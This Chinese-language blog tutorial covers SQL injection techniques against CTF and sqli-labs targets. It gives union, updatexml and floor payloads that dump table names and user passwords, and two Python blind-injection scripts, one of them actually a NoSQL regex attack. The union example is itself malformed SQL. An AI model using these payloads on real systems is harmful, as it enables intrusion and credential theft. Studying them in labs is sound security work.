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WEB安全--SQL注入--常见的注入手段

news 来源：原创 2025/5/19 1:33:56

一、联表查询：

1.1原理：

当payload参数被后端查询语句接收到时，其中的非法语句通过union关联显示出其他的数据

1.2示例：

#payload:
-1' and union select 1,2,database()--

#query:
$sql=select * from users where id='-1' and union select 1,2,database()--
'

1.3注意：

因为union查询要与前面关联的表有相同的列数，所以在查信息时应先用order by查询当前表的列数

二、报错注入：

2.1原理：

通过在一些函数（如updatexml(x,y,z)）的参数中写注入语句，当数据库识别不了参数中的语句时会将其当做错误输入进行处理，同时这些语句也将被执行并将结果和报错信息一同显示出来

2.2示例：

updatexml():


?id=-1' and updatexml(1,(select concat(0x7e,database(),0x7e)),1)--+

?id=-1' and updatexml(1,concat(0x7e,(select substring(group_concat(table_name),1,32) from information_schema.tables where table_schema='security'),0x7e),1)--+

?id=-1' and updatexml(1,concat(0x7e,(select substring(group_concat(column_name),1,32) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

?id=-1' or updatexml(1,concat(0x7c,(select substring(group_concat(id,0x7e,username,0x7e,password,0x7e),1,32) from users)),1)--+

floor():

?id=-1' or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y)--+

?id=-1' or (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y)--+

?id=-1' or (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)y)--+

?id=-1' or (select 1 from (select count(*),concat((select concat(0x7e,id,username,password,0x7e) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)y)--+

2.3注意：

上面只是其中的两个，还有gtid_subset()、extructvalue()等函数也能互相代替，不过各有各的优缺点，比如：

updatexml():优点简单。缺点mysql高版本不兼容，返回的字符串最大长度为32字节，要用substring或者limit截取输出

floor():优点兼容高版本。缺点难写，需要组合（count()、rand()、group by()）使用

三、盲注：

3.1布尔盲注：

3.1.1原理：

注入payload后页面只有两种显示，通过页面显示的区别来判断结果的信息

3.1.2示例（ctf-hackme脚本）：

import string
import requests

characters = string.ascii_letters + string.digits  # [A-Za-z0-9]
password = ""
payload = """{"username":{"$\\u0065\\u0071": "admin"}, "password": {"$\\u0072\\u0065\\u0067\\u0065\\u0078": "^%s"}}"""
url = "http://node4.buuoj.cn:25171/login.php"
for i in range(50):
    for character in characters:
        response = requests.post(url=url, data=(payload % (password + character)),
                                 headers={"Content-Type": "application/json; charset=UTF-8"})
        responseContent = response.content.decode()
        print(f"[+] Trying {character} with response {responseContent}")
        response.close()
        if "登录了" in responseContent:
            password += character
            print(f"[*] Found new character {character} with password now which is {password}")
            break

3.2时间盲注：

3.2.1原理：

注入payload后页面没有任何显示，利用sleep等函数来判断结果的信息

3.2.2示例（sqlilabs/less-9脚本）：

import requests
import time

url = "http://127.0.0.1/sqli-labs-master/Less-9/"
result = ""

for i in range(1, 1000):
    low = 32
    high = 128
    while low < high:
        mid = (low + high) // 2
        #par = f"?id=1' and if((ascii(substr((select database()),{i},1))>{mid}),sleep(3),0)-- "
        #par = f"?id=1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{i},1))>{mid}),sleep(3),0)-- "
        #par = f"?id=1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='users'),{i},1))>{mid}),sleep(3),0)-- "
        par = f"?id=1' and if((ascii(substr((select group_concat(username,password) from users),{i},1))>{mid}),sleep(3),0)-- "
        full_url = url + par
        s_time = time.time()
        r = requests.get(full_url)
        e_time = time.time()

        if e_time - s_time > 3:
            low = mid + 1
        else:
            high = mid

    if low != 32:
        result += chr(low)
        print(f"当前数据: {result}")

print("最终数据:",result)